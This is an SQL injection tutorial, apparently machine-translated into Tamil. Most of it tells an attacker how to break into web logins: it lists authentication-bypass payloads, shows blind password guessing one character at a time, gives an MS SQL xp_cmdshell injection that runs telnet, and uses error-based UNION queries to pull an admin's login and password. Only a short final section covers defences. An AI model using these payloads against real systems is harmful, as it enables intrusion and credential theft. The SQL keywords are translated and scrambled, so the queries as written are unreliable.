இதன் பொருள் இது போன்றது: பயனர் தரவுத்தளத்தில் உள்ள அனைத்து பதிவுகளையும் என்னிடம் திருப்பி அனுப்பவும், அதன் உள்நுழைவு "பயனர்" மற்றும் கடவுச்சொல் "31337" ஆகும். அத்தகைய பதிவு இருந்தால், பயனர் பதிவு செய்யப்பட்டார், ஆனால் இல்லை என்றால், இல்லை ... ஆனால் சில சூழ்நிலைகளில், எல்லாவற்றையும் சரிசெய்ய முடியும். அனுப்பப்பட்ட தரவின் உள்ளடக்கங்களை பயன்பாடு சரிபார்க்காத அல்லது இருப்புநிலையை முழுமையாகச் சரிபார்க்காத சூழ்நிலையை இது குறிக்கிறது. SQLஅறிவுறுத்தல்கள். இந்த எடுத்துக்காட்டில், உள்நுழைவு மற்றும் கடவுச்சொல் ஆகிய இரண்டு புலங்கள் சரிபார்க்கப்படுகின்றன, ஆனால் நீங்கள் கடவுச்சொல்லாக “31337′ மற்றும் மின்னஞ்சல்=’ எனக் குறிப்பிட்டால் [மின்னஞ்சல் பாதுகாக்கப்பட்டது]”(இரட்டை மேற்கோள்கள் இல்லாமல்), பின்னர் வினவல் சற்று வித்தியாசமாக மாறும்:

உள்நுழைய = "பயனர்" மற்றும் கடவுச்சொல் = "31337" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
மின்னஞ்சல்=" [மின்னஞ்சல் பாதுகாக்கப்பட்டது]"

மின்னஞ்சல் புலம் இருந்தால், இந்த நிபந்தனையும் சரிபார்க்கப்படும். பூலியன் இயற்கணிதத்தின் அடிப்படைகளை நீங்கள் நினைவில் வைத்திருந்தால், "மற்றும்" செயல்பாட்டிற்கு கூடுதலாக, ஒரு "அல்லது" உள்ளது என்பது உங்கள் நினைவுக்கு வருகிறது, மேலும் அவற்றின் பயன்பாடு SQL ஆல் ஆதரிக்கப்படுவதால், உங்களால் முடியும்
விவரிக்கப்பட்ட வழியில், எப்போதும் உண்மையாக இருக்கும் ஒரு நிபந்தனையைச் சேர்க்கவும். இதைச் செய்ய, "பயனர்' அல்லது 1=1-" என்பதை உள்நுழைவாகக் குறிப்பிட வேண்டும், இதில் கோரிக்கை படிவத்தை எடுக்கும்:

உள்நுழைய = "பயனர்" அல்லது 1=1--" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
கடவுச்சொல்="31337"

முதலில், “—” என்பது கோரிக்கையின் முடிவு என்றும், “—” க்குப் பிறகு எல்லாமே என்பதை நீங்கள் அறிந்து கொள்ள வேண்டும்.
செயலாக்கப்படாது! நாங்கள் ஒரு கோரிக்கையை வைத்துள்ளோம் என்று மாறிவிடும்:

உள்நுழைய = "பயனர்" அல்லது 1=1 பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்

நீங்கள் பார்க்கிறபடி, நாங்கள் “1=1” என்ற நிபந்தனையைச் சேர்த்துள்ளோம், அதாவது சரிபார்ப்பு அளவுகோல் “உள்நுழைவு 'பயனர்' அல்லது 1=1 ஆக இருக்கும், ஆனால் 1 எப்போதும் 1 க்கு சமம் (விதிவிலக்கு டானி ஷெபோவலோவின் எண்கணிதமாக இருக்கலாம் :)). எங்கள் சந்தேகங்களை சோதிக்க
முகவரிப் பட்டியில் “http://www.server.com?login=user அல்லது 1=1—&password=31337” ஐ உள்ளிடவும். நாங்கள் எந்த உள்நுழைவைக் குறிப்பிட்டோம் என்பது முக்கியமல்ல என்பதற்கு இது வழிவகுக்கிறது, ஆனால்
குறிப்பாக கடவுச்சொல்! நாங்கள் மேட்ரிக்ஸில் இருக்கிறோம்... ஓ, சிஸ்டத்தில் இருக்கிறோம், நமக்குத் தேவையானதை நிதானமாகப் பதிவிறக்கம் செய்யலாம்.

ஆனால் இவை அனைத்தும் கோட்பாட்டில் உள்ளது. நடைமுறையில், கோரிக்கை எவ்வாறு உருவாகிறது, என்ன தரவு அனுப்பப்படுகிறது மற்றும் எந்த வரிசையில் உள்ளது என்பது எங்களுக்குத் தெரியாது. எனவே, எல்லாப் புலங்களுக்கும் “பயனர்’ அல்லது 1=1—” என்பதைக் குறிப்பிடுவது அவசியம். மறைக்கப்பட்ட புலங்களுக்கான சமர்ப்பிப்பு படிவத்தையும் நீங்கள் சரிபார்க்க வேண்டும். HTML இல் அவை விவரிக்கப்பட்டுள்ளன " " ஏதேனும் இருந்தால், பக்கத்தைச் சேமித்து, இந்த புலங்களின் மதிப்புகளை மாற்றவும். அவற்றில் உள்ள மதிப்புகள் பெரும்பாலும் SQL அறிக்கைகள் இருப்பதை சரிபார்க்க மறந்துவிடுகின்றன. ஆனால் எல்லாம் வேலை செய்ய, இந்த கோரிக்கையை செயல்படுத்தும் ஸ்கிரிப்ட்டின் முழு பாதையையும் "செயல்" அளவுருக்கான வடிவத்தில் (டேக் "FORM") குறிப்பிட வேண்டும்.

ஆனால் கோரிக்கை எவ்வாறு உருவாகிறது என்பது எப்போதும் தெரியவில்லை.
முந்தைய உதாரணம் பின்வரும் வழிகளில் உருவாக்கப்படலாம்:

எங்கு உள்ள பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும் (உள்நுழைவு = "பயனர்" மற்றும் கடவுச்சொல் = "31337")
உள்நுழைய = "பயனர்" மற்றும் கடவுச்சொல் = "31337" பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
உள்நுழைவு=பயனர் மற்றும் கடவுச்சொல்=31337 உள்ள பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்

இந்த வழக்கில், நீங்கள் பின்வரும் விருப்பங்களை முயற்சி செய்யலாம்:

‘அல்லது 1=1—
» அல்லது 1=1—
அல்லது 1=1-
‘ அல்லது ‘a’=’a
"அல்லது "a"="a
‘) அல்லது (‘a’=’a
அல்லது '1'='1'

இது அனைத்தும் ஸ்கிரிப்ட்டின் நோக்கம் மற்றும் புரோகிராமரைப் பொறுத்தது. ஒவ்வொரு நபரும் தனது சொந்த வழியில் எல்லாவற்றையும் செய்ய முனைவதால், புரோகிராமர் எளிதான விருப்பத்தை தேர்வு செய்ய மாட்டார். எனவே, நீங்கள் உடனடியாக செய்யக்கூடாது
நீங்கள் நிராகரிக்கப்பட்டால் விட்டுவிடுங்கள். அவசியமானது
முடிந்தவரை பல விருப்பங்களை முயற்சிக்கவும்...

கடவுச்சொல் கண்டறிதல்

அங்கீகாரத்தைத் தவிர்ப்பது மோசமானதல்ல, ஆனால் பெரும்பாலும் நீங்கள் பயன்படுத்தும் துளை மூடப்பட்டிருக்கும், மேலும் உங்களுக்குக் கிடைத்த அனைத்தும் இழக்கப்படும்.
புரோகிராமர் ஒரு முட்டாள் இல்லை என்றால் இது எதிர்பார்க்கப்படுகிறது
காலப்போக்கில் அது எல்லா ஓட்டைகளையும் மூடிவிடும். முன்கூட்டியே கவனித்துக்கொள்வதன் மூலம் இதுபோன்ற சூழ்நிலைகளில் இருந்து எளிதாக விடுபடலாம். கடவுச்சொல்லை யூகிப்பதே சரியான தீர்வாக இருக்கலாம்
அங்கீகார முடிவுகளின் பகுப்பாய்வு. முதலில், கடவுச்சொல்லை யூகிக்க முயற்சிப்போம், இதைச் செய்ய, அதன் இருப்பிடத்தை உள்ளிடவும்:

'அல்லது கடவுச்சொல்>'a

அங்கீகாரம் நிறைவேற்றப்பட்டதாகச் சொன்னால், கடவுச்சொல்
"a" என்ற எழுத்தில் தொடங்குவதில்லை, ஆனால் பட்டியலில் உள்ள பின்வருவனவற்றில் ஒன்றுடன். நாம் நகர்த்த மற்றும் மாற்று
இடம் "a", அடுத்த "b", "c", "d", "e"... etc. கடவுச்சொல் சரியாக இல்லை என்று அவர்கள் சொல்லும் வரை. இந்த செயல்முறை "x" குறியீட்டில் நிறுத்தப்படட்டும், இதில் சூழ்நிலையின் வளர்ச்சிக்கான இரண்டு விருப்பங்கள் உருவாக்கப்படுகின்றன: கடவுச்சொல் கண்டுபிடிக்கப்பட்டது அல்லது கடவுச்சொல் இந்த சின்னத்துடன் தொடங்குகிறது. முதல் விருப்பத்தை சரிபார்க்க, கடவுச்சொல் இருப்பிடத்தை எழுதவும்:

'அல்லது கடவுச்சொல்='x

மற்றும் கடவுச்சொல் ஏற்றுக்கொள்ளப்பட்டு நீங்கள் அனுமதிக்கப்பட்டால், நீங்கள் கடவுச்சொல்லை யூகித்தீர்கள்! சரி, இல்லை, நீங்கள் இரண்டாவது எழுத்தைத் தேர்ந்தெடுக்க வேண்டும்,
ஆரம்பத்திலிருந்தே அதேதான். இரண்டு எழுத்துக்களைச் சரிபார்க்கவும்
அதே வேண்டும். இறுதியில், நீங்கள் கடவுச்சொல்லைப் பெறுவீர்கள், அதே வழியில் உள்நுழைவைத் தேடுவீர்கள் :)
கண்டுபிடிக்கப்பட்ட கடவுச்சொல் மற்றும் உள்நுழைவு உங்களுக்கு பொருந்தவில்லை என்றால், நீங்கள் மற்றவர்களைக் கண்டறியலாம். இதைச் செய்ய, கண்டுபிடிக்கப்பட்ட கடவுச்சொல்லின் கடைசி எழுத்திலிருந்து நீங்கள் சரிபார்க்கத் தொடங்க வேண்டும். எனவே, கடவுச்சொல் "xxx" ஆக இருந்தால், கடவுச்சொல் இருப்பதை சரிபார்க்க வேண்டியது அவசியம்
"xxxy":

'அல்லது கடவுச்சொல்='xxx

ஒன்றுக்கு மேற்பட்ட விருப்பங்களை தவறவிடாமல் இருக்க!

MS SQL சர்வர்

MS SQL சேவையகம் பொதுவாக தேவையான வடிகட்டலைத் தவறவிட்டால் அது ஒரு கடவுளின் வரம். SQL ஊசி பாதிப்பைப் பயன்படுத்தி நீங்கள் செயல்படுத்தலாம்
exec master..xp_cmdshell ஐப் பயன்படுத்தி ரிமோட் சர்வரில் கட்டளைகள். ஆனால் இந்த வடிவமைப்பைப் பயன்படுத்த
SELECT செயல்பாடு முடிக்கப்பட வேண்டும். SQL இல், அறிக்கைகள் அரைப்புள்ளிகளால் பிரிக்கப்படுகின்றன. எனவே, டெல்நெட் வழியாக சில ஐபியுடன் இணைக்க, நீங்கள் கடவுச்சொல்/உள்நுழைவு இருப்பிடத்தை உள்ளிட வேண்டும்:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL சேவையகம் தரவுத்தளத்தில் சேமிக்கப்பட்ட உள்நுழைவுகள் மற்றும் கடவுச்சொற்களைக் கண்டறிய உங்களை அனுமதிக்கும் பல சுவாரஸ்யமான அம்சங்களைக் கொண்டுள்ளது. இதைச் செய்ய, பிழை வெளியீடு தன்னிச்சையான சேவையகத்திற்கு திருப்பி விடப்படும் மற்றும் அவற்றின் மூலம்
பகுப்பாய்வு, நீங்கள் அட்டவணையின் பெயர், புலங்கள் மற்றும் அவற்றின் வகைகளைக் கண்டறியலாம். அதன் பிறகு நீங்கள் கோரலாம்

யூனியன் பயனர்களிடமிருந்து முதல் 1 உள்நுழைவைத் தேர்ந்தெடுக்கவும்-

(உள்நுழைவு என்பது உள்நுழைவைக் கொண்ட புலத்தின் பெயர், மற்றும் பயனர்கள் என்பது அட்டவணையின் பெயர்,
பிழை பகுப்பாய்வு செயல்பாட்டில் அரை விஞ்ஞானிகள்).

பதில் இருக்கலாம்:


nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "admin" to a column of data type int. !}
/default.asp, வரி 27

இப்போது "நிர்வாகம்" என்ற பெயரில் ஒரு பயனர் இருப்பதை நாம் அறிவோம். இப்போது நாம் அவருடைய கடவுச்சொல்லைப் பெறலாம்:

யூனியன் உள்நுழைந்த பயனர்களிடமிருந்து முதல் 1 கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும்='நிர்வாகம்'-

விளைவாக:

ODBC டிரைவர்களுக்கான மைக்ரோசாப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "xxx" to a column of data type int. !}
/tedault.asp, வரி 27

"xxx" கடவுச்சொல்லுடன் "நிர்வாகி" என்ற பயனர் இருப்பதை இப்போது நாம் அறிவோம். இதன் மூலம் நீங்கள் பாதுகாப்பாக முடியும்
அதைப் பயன்படுத்தி கணினியில் உள்நுழையவும்

ஆனால் SQL உடன் பணிபுரிய பல செயல்பாடுகள் உள்ளன.
தரவுத்தளத்துடன் பணிபுரியும் போது, ​​​​நீங்கள் தரவை நீக்கலாம், அதை மாற்றலாம், உங்கள் சொந்தத்தைச் செருகலாம் மற்றும் கோப்புகளைக் கையாளலாம் மற்றும் பதிவேட்டில் வேலை செய்யலாம்.
பொதுவாக, SQL சர்வர் விதிகள் :)

பாதுகாப்பு

ஆனால் நிச்சயமாக இவை அனைத்தையும் தவிர்க்கலாம். இதைச் செய்ய, உங்களால் முடியும்
வடிகட்டிகளைப் பயன்படுத்தவும்,
உற்பத்தியாளர்களால் வழங்கப்படுகிறது. உங்கள் சொந்த தீர்வுகளை நீங்கள் காணலாம், எடுத்துக்காட்டாக, அனைத்து ஒற்றை பதிலாக
இரட்டை மேற்கோள்கள் (என்றால் SQLநாங்கள் ஒற்றை ஒன்றைப் பயன்படுத்துமாறு கோருகிறோம்), அல்லது நேர்மாறாகவும். நீங்கள் உள்ளிட வேண்டும் என்றால், கடிதங்கள் மற்றும் s@baki ஆகியவற்றை மட்டுமே பயன்படுத்த அனுமதிக்க முடியும்
மின்னஞ்சல் முகவரி. மற்றும் முத்து ஒரு அற்புதமான உள்ளது
DBI ::DBD தொகுதியில் உள்ள 🙂 மேற்கோள்() செயல்பாடு, இது தொடர்பான உங்கள் வினவலை வெற்றிகரமாகப் பாதுகாக்கிறது SQL. பல தீர்வுகள் உள்ளன, உங்களுக்கு அவை தேவை
பயன்படுத்தி கொள்ள. இல்லாவிட்டால் ஏன் இதெல்லாம்...